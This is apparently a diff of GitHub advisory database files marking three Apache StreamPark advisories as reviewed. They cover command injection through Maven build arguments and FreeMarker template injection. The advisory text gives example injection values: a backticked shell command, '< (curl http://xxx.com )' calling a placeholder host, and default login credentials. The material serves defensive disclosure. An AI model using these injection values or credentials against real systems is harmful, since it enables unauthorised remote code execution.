diff --git a/advisories/unreviewed/2024/07/GHSA-5v69-92vw-fmjh/GHSA-5v69-92vw-fmjh.json b/advisories/github-reviewed/2024/07/GHSA-5v69-92vw-fmjh/GHSA-5v69-92vw-fmjh.json similarity index 73% rename from advisories/unreviewed/2024/07/GHSA-5v69-92vw-fmjh/GHSA-5v69-92vw-fmjh.json rename to advisories/github-reviewed/2024/07/GHSA-5v69-92vw-fmjh/GHSA-5v69-92vw-fmjh.json index 0685dded364..c3281c3cf3d 100644 --- a/advisories/unreviewed/2024/07/GHSA-5v69-92vw-fmjh/GHSA-5v69-92vw-fmjh.json +++ b/advisories/github-reviewed/2024/07/GHSA-5v69-92vw-fmjh/GHSA-5v69-92vw-fmjh.json @@ -1,24 +1,49 @@ { "schema_version": "1.4.0", "id": "GHSA-5v69-92vw-fmjh", - "modified": "2024-07-19T18:31:21Z", + "modified": "2025-02-13T20:22:54Z", "published": "2024-07-17T09:30:49Z", "aliases": [ "CVE-2024-29737" ], - "details": "In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users should upgrade to 2.1.4\n\nBackground info:\n\nLog in to Streampark using the default username (e.g. test1, test2, test3) and the default password (streampark). Navigate to the Project module, then add a new project. Enter the git repository address of the project and input `touch /tmp/success_2.1.2` as the \"Build Argument\". Note that there is no verification and interception of the special character \"`\". As a result, you will find that this injection command will be successfully executed after executing the build.\n\nIn the latest version, the special symbol ` is intercepted.\n\n", + "summary": "Apache StreamPark: maven build params could trigger remote command execution", + "details": "In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users should upgrade to 2.1.4\n\nBackground info:\n\nLog in to Streampark using the default username (e.g. test1, test2, test3) and the default password (streampark). Navigate to the Project module, then add a new project. Enter the git repository address of the project and input `touch /tmp/success_2.1.2` as the \"Build Argument\". Note that there is no verification and interception of the special character \"`\". As a result, you will find that this injection command will be successfully executed after executing the build.\n\nIn the latest version, the special symbol ` is intercepted.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L" } ], - "affected": [], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.streampark:streampark" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.1.4" + } + ] + } + ] + } + ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29737" }, + { + "type": "PACKAGE", + "url": "https://github.com/apache/streampark" + }, { "type": "WEB", "url": "https://lists.apache.org/thread/xhx7jt1t24s6d7o435wxng8t0ojfbfh5" @@ -33,8 +58,8 @@ "CWE-77" ], "severity": "MODERATE", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2025-02-13T20:22:54Z", "nvd_published_at": "2024-07-17T09:15:02Z" } } \ No newline at end of file diff --git a/advisories/unreviewed/2024/07/GHSA-7g94-hfqc-q993/GHSA-7g94-hfqc-q993.json b/advisories/github-reviewed/2024/07/GHSA-7g94-hfqc-q993/GHSA-7g94-hfqc-q993.json similarity index 67% rename from advisories/unreviewed/2024/07/GHSA-7g94-hfqc-q993/GHSA-7g94-hfqc-q993.json rename to advisories/github-reviewed/2024/07/GHSA-7g94-hfqc-q993/GHSA-7g94-hfqc-q993.json index e30b92bdf19..02b6360a205 100644 --- a/advisories/unreviewed/2024/07/GHSA-7g94-hfqc-q993/GHSA-7g94-hfqc-q993.json +++ b/advisories/github-reviewed/2024/07/GHSA-7g94-hfqc-q993/GHSA-7g94-hfqc-q993.json @@ -1,24 +1,49 @@ { "schema_version": "1.4.0", "id": "GHSA-7g94-hfqc-q993", - "modified": "2025-02-13T18:32:31Z", + "modified": "2025-02-13T20:22:31Z", "published": "2024-07-17T09:30:49Z", "aliases": [ "CVE-2023-52291" ], - "details": "In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nBackground:\n\nIn the \"Project\" module, the maven build args  “<” operator causes command injection. e.g : “< (curl  http://xxx.com )” will be executed as a command injection,\n\nMitigation:\n\nall users should upgrade to 2.1.4,  The \"<\" operator will blocked。\n\n", + "summary": "Apache StreamPark: Unchecked maven build params could trigger remote command execution", + "details": "In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nBackground:\n\nIn the \"Project\" module, the maven build args  “<” operator causes command injection. e.g : “< (curl  http://xxx.com )” will be executed as a command injection,\n\nMitigation:\n\nall users should upgrade to 2.1.4,  The \"<\" operator will blocked。", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L" } ], - "affected": [], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.streampark:streampark" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.1.4" + } + ] + } + ] + } + ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52291" }, + { + "type": "PACKAGE", + "url": "https://github.com/apache/streampark" + }, { "type": "WEB", "url": "https://lists.apache.org/thread/pl6xgzoqrl4kcn0nt55zjbsx8dn80mkf" @@ -33,8 +58,8 @@ "CWE-77" ], "severity": "MODERATE", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2025-02-13T20:22:31Z", "nvd_published_at": "2024-07-17T09:15:02Z" } } \ No newline at end of file diff --git a/advisories/unreviewed/2024/07/GHSA-vv8h-m63v-53pq/GHSA-vv8h-m63v-53pq.json b/advisories/github-reviewed/2024/07/GHSA-vv8h-m63v-53pq/GHSA-vv8h-m63v-53pq.json similarity index 58% rename from advisories/unreviewed/2024/07/GHSA-vv8h-m63v-53pq/GHSA-vv8h-m63v-53pq.json rename to advisories/github-reviewed/2024/07/GHSA-vv8h-m63v-53pq/GHSA-vv8h-m63v-53pq.json index 061bc908f53..2d0c86c1a22 100644 --- a/advisories/unreviewed/2024/07/GHSA-vv8h-m63v-53pq/GHSA-vv8h-m63v-53pq.json +++ b/advisories/github-reviewed/2024/07/GHSA-vv8h-m63v-53pq/GHSA-vv8h-m63v-53pq.json @@ -1,24 +1,49 @@ { "schema_version": "1.4.0", "id": "GHSA-vv8h-m63v-53pq", - "modified": "2025-02-13T18:32:31Z", + "modified": "2025-02-13T20:23:23Z", "published": "2024-07-18T12:30:52Z", "aliases": [ "CVE-2024-29178" ], - "details": "On versions before 2.1.4, a user could log in and perform a template injection attack resulting in Remote Code Execution on the server, The attacker must successfully log into the system to launch an attack, so this is a moderate-impact vulnerability.\n\nMitigation:\n\nall users should upgrade to 2.1.4\n\n", + "summary": "Apache StreamPark: FreeMarker SSTI RCE Vulnerability", + "details": "On versions before 2.1.4, a user could log in and perform a template injection attack resulting in Remote Code Execution on the server, The attacker must successfully log into the system to launch an attack, so this is a moderate-impact vulnerability.\n\nMitigation:\n\nall users should upgrade to 2.1.4", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.streampark:streampark" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.1.4" + } + ] + } + ] + } + ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29178" }, + { + "type": "PACKAGE", + "url": "https://github.com/apache/streampark" + }, { "type": "WEB", "url": "https://lists.apache.org/thread/n6dhnl68knpxy80t35qxkkw2691l8sfn" @@ -33,8 +58,8 @@ "CWE-94" ], "severity": "HIGH", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2025-02-13T20:23:23Z", "nvd_published_at": "2024-07-18T12:15:02Z" } } \ No newline at end of file